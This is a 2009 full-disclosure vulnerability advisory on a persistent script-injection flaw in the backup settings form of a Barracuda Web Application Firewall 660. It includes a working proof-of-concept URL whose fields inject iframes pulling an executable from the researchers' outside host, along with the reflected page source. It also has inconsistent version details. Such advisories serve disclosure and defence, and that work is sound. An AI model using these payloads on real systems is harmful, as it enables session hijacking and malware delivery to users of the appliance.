143 lines
No EOL
8 KiB
Text
143 lines
No EOL
8 KiB
Text
Pentest Information:
|
|
====================
|
|
GESEC Team (~remove) discover a input validation vulnerability on Barracuda - Web Application Firewall 660 (Appliance).
|
|
A remote attacker is able to get sensitive customer sessions (hijack)or can implement script routines & malicious codes(server-side|persistent).
|
|
|
|
|
|
Details:
|
|
========
|
|
Tested on OS: Windows 7
|
|
Tested with Software: Mozilla Firefox (SEC|MOD) & Web-Developer Suite
|
|
|
|
Vulnerable Products: Barracuda - Web Application Firewall 660 (Appliance)
|
|
Affected Versions: Firmware v7.3.2.015 (2009-12-04 01:20:36) Model 660
|
|
Vulnerability Type: Input Vaildation Vulnerability (server-side|persistent)
|
|
Security-Risk: Medium
|
|
|
|
Basement Category: Application|Hardware
|
|
|
|
Vendor-URL: http://barracuda.com/
|
|
Product-URL: http://www.barracudanetworks.com/ns/products/archiver-overview.php
|
|
Demo-URL: http://server/cgi-mod/index.cgi
|
|
|
|
Vendor-Status: Not Informed
|
|
Patch/Fix-Status: No Fix/Patch
|
|
Advisory-Status: Published | 19.12.2009
|
|
|
|
UNPUBLIC Advisory-URL: http://global-evolution.info/01xGE/Archive/12.2009/BC%20Web%20Firewall%20660%20v7.3.1.007%20-%20Input%20Validation%20Vulnerability/19.12.2009_BC%20Web%20Firewall%20660%20v7.3.1.007%20-%20Input%20Validation%20Vulnerability.txt
|
|
PUBLIC Advisory-URL: *
|
|
|
|
GE DB-ID: 818
|
|
CVE-ID: ()
|
|
OSVDB-ID: ()
|
|
|
|
|
|
Introduction:
|
|
=============
|
|
The Barracuda Web Application Firewall is a complete and powerful security solution for Web applications and Web sites.
|
|
The Barracuda Web Application Firewall provides award-winning protection against hackers leveraging protocol or
|
|
application vulnerabilities to instigate data theft, denial of service or defacement of your Web site.
|
|
|
|
* Protection against common attacks
|
|
* Outbound data theft protection
|
|
* Web site cloaking
|
|
* Granular policies
|
|
* Secure HTTP traffic
|
|
* SSL Offloading
|
|
* SSL Acceleration
|
|
* Load Balancing
|
|
|
|
The Barracuda Web Application Firewall protects Web applications and Web services from malicious attacks, and can also increase
|
|
the performance and scalability of these applications. The Barracuda Web Application Firewall offers every capability needed to
|
|
deliver, secure and manage enterprise Web applications from a single appliance through an intuitive, real-time user interface.
|
|
|
|
* Single point of protection for inbound and outbound traffic for all Web applications
|
|
* Protects Web sites and Web applications against application layer attacks
|
|
* Delivers best practices security right out of the box
|
|
* Monitors traffic and provides reports about attackers and attack attempts
|
|
|
|
The Barracuda Web Application Firewall provides award-winning protection from all common attacks on Web applications, including
|
|
SQL injections, cross-site scripting attacks, session tampering and buffer overflows. Many applications are vulnerable to such
|
|
attacks because application developers do not consistently employ secure coding practices. Barracuda Web Application Firewall is
|
|
designed to combat all attack types that have been categorized as significant threats, including:
|
|
|
|
* Cross Site Scripting (XSS)
|
|
* SQL injection flaws
|
|
* OS command injections
|
|
* Site reconnaissance
|
|
* Session hijacking
|
|
* Application denial of service
|
|
* Malicious probes/crawlers
|
|
* Cookie/session tampering
|
|
* Path traversal
|
|
* Information leakage
|
|
|
|
|
|
(Copy from the vendors homepage: http://www.barracudanetworks.com/ns/products/web-site-firewall-overview.php)
|
|
|
|
|
|
|
|
More Details:
|
|
=============
|
|
A IVE vulnerability is detected on Barracuda - Web Application Firewall 660 with Firmware v7.3.2.015 (2009-12-04 03:23:23am)
|
|
Attackers can use the vulnerability script code executions & specific manipulations. When exploited by an authenticated user,
|
|
the identified vulnerabilities can lead to Information Disclosure, Session Hijack, access to Intranet available servers.
|
|
|
|
|
|
Server: archiver.barracuda.com
|
|
File: index.cgi
|
|
Para: ?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username= ... &&backup_password=
|
|
|
|
|
|
Screen: http://img10.imageshack.us/img10/4506/ive1.png
|
|
http://img10.imageshack.us/img10/1138/ive2.png
|
|
|
|
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
The vulnerabilities can be exploited by potencial attackers. On our Pentests we verified the vulnerability by loading a
|
|
"bad-example.exe" (http://img10.imageshack.us/img10/4506/ive1.png) file out of the Barracuda - WebFirewall 660 Appliance Application.
|
|
Script code executions & specific manipulations are possible over that form to get access on intranet. For demonstration ...
|
|
|
|
Vulnerable Module: [+] Backup - Automated Configuration Backups
|
|
|
|
|
|
References(URL):
|
|
http://wsf.barracuda.com/cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//global-evolution.info/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//global-evolution.info/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//global-evolution.info/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//global-evolution.info%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
|
|
|
|
|
|
Site-Code Review:
|
|
<td valign=top><table summary="Config Module" width=100% cellpadding=0 cellspacing=0 class=config_module_inner><tr id="config_module_row_1" class="config_module_tr"><td valign=top width=15> </td><td valign=middle width=690 ><input type="button" class="new_button" value="Close Window" onClick="window.close(); return false;"><br><iframe width='95%' src='/cgi-bin/index.cgi?backup_port=21&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A%2F%2Fglobal-evolution.info%20width%3D800%20height%3D800%3E&locale=en_US&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A%2F%2Fglobal-evolution.info%2Fetc%2Fbad-example.exe%3E&password=f232d3b35c04af128aa56e5913fd5292&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A%2F%2Fglobal-evolution.info%2Fetc%2Fbad-example.exe%3E&user=guest&backup_life=5&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A%2F%2Fglobal-evolution.info%2Fetc%2Fbad-example.exe%3E&et=1261218005&primary_tab=ADVANCED&backup_type=ftp&auth_type=Local&secondary_tab=test_backup_server&iframe=stream_backup_test&content_only=1' marginHeight='1' marginWidth='1' height='300' frameborder='1' button_text='Stop' id='frame_results' ></iframe><input type=hidden name=content_only value=1 /></td></tr></table></td>
|
|
|
|
|
|
Complete Site-Code Review: http://nopaste.info/a6b47158b4.html
|
|
|
|
|
|
|
|
Fix & Patch:
|
|
============
|
|
Restrict the Input fields & format the the output when try to show the connection status.
|
|
Set clear + working exceptions in the filter or let session expire after illegal character errors.
|
|
Involve in the fixes the re-included stuff like the auto backup script on ftp ...
|
|
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
An attacker is able to include malicious script routines on server-side of the Barracuda - WebFirewall 660.
|
|
When exploited by an authenticated user, the identified vulnerabilities can lead to Information Disclosure, Session Hijack,
|
|
access to Intranet available servers.The security risk is estimated as medium because of server-side.
|
|
|
|
|
|
Author:
|
|
=======
|
|
The author & writer is part of "Global-Evolution" Security(GESEC).
|
|
GESEC Vulnerability-Research Team protects software, services, applications & informs the vendors on a secured base.
|
|
________.__ ___. .__ ___________ .__ __ .__
|
|
/ _____/| | ____\_ |__ _____ | | \_ _____/__ ______ | | __ ___/ |_|__| ____ ____
|
|
/ \ ___| | / _ \| __ \\__ \ | | ______ | __)_\ \/ / _ \| | | | \ __\ |/ _ \ / \ (c)
|
|
\ \_\ \ |_( <_> ) \_\ \/ __ \| |__ /_____/ | \\ ( <_> ) |_| | /| | | ( <_> ) | \
|
|
\______ /____/\____/|___ (____ /____/ /_______ / \_/ \____/|____/____/ |__| |__|\____/|___| /
|
|
\/ \/ \/ \/ \/ |